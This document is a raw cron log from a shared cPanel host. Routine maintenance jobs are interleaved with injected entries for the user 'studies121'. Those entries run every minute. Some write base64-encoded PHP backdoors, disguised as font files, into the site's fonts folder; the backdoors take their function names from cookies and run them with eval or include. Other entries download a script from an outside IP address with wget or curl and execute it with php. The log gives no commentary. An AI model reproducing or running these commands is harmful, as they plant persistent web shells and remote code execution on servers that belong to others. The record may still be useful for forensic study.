Sep 10 21:06:01 ip-184-168-122-23 CROND[9965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:06:01 ip-184-168-122-23 CROND[9966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:07:01 ip-184-168-122-23 CROND[10061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:07:01 ip-184-168-122-23 CROND[10063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:07:01 ip-184-168-122-23 CROND[10065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:07:01 ip-184-168-122-23 CROND[10066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:08:01 ip-184-168-122-23 CROND[10145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:08:01 ip-184-168-122-23 CROND[10148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:08:01 ip-184-168-122-23 CROND[10147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:08:01 ip-184-168-122-23 CROND[10146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:08:01 ip-184-168-122-23 CROND[10149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:09:01 ip-184-168-122-23 CROND[10317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:09:01 ip-184-168-122-23 CROND[10319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:09:01 ip-184-168-122-23 CROND[10322]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 21:09:01 ip-184-168-122-23 CROND[10324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:09:01 ip-184-168-122-23 CROND[10326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:10:01 ip-184-168-122-23 CROND[10410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:10:01 ip-184-168-122-23 CROND[10414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:10:01 ip-184-168-122-23 CROND[10416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:10:01 ip-184-168-122-23 CROND[10415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:10:01 ip-184-168-122-23 CROND[10413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:10:01 ip-184-168-122-23 CROND[10419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:10:01 ip-184-168-122-23 CROND[10420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:10:01 ip-184-168-122-23 CROND[10421]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:11:02 ip-184-168-122-23 CROND[10519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:11:02 ip-184-168-122-23 CROND[10521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:11:02 ip-184-168-122-23 CROND[10523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:11:02 ip-184-168-122-23 CROND[10524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:12:01 ip-184-168-122-23 CROND[10662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:12:01 ip-184-168-122-23 CROND[10665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:12:01 ip-184-168-122-23 CROND[10664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:12:01 ip-184-168-122-23 CROND[10666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:12:01 ip-184-168-122-23 CROND[10667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:13:02 ip-184-168-122-23 CROND[10949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:13:02 ip-184-168-122-23 CROND[10950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:13:02 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:13:02 ip-184-168-122-23 CROND[10953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:14:01 ip-184-168-122-23 CROND[11106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:14:01 ip-184-168-122-23 CROND[11108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:14:01 ip-184-168-122-23 CROND[11109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:14:01 ip-184-168-122-23 CROND[11110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:14:01 ip-184-168-122-23 CROND[11111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:15:01 ip-184-168-122-23 CROND[11238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:15:01 ip-184-168-122-23 CROND[11245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:15:01 ip-184-168-122-23 CROND[11244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:15:01 ip-184-168-122-23 CROND[11242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:15:01 ip-184-168-122-23 CROND[11241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:15:01 ip-184-168-122-23 CROND[11243]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:16:01 ip-184-168-122-23 CROND[11427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:16:01 ip-184-168-122-23 CROND[11429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:16:01 ip-184-168-122-23 CROND[11430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:16:01 ip-184-168-122-23 CROND[11431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:16:01 ip-184-168-122-23 CROND[11432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:16:01 ip-184-168-122-23 CROND[11433]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 21:17:01 ip-184-168-122-23 CROND[11527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:17:01 ip-184-168-122-23 CROND[11528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:17:01 ip-184-168-122-23 CROND[11530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:17:01 ip-184-168-122-23 CROND[11529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:18:02 ip-184-168-122-23 CROND[11608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
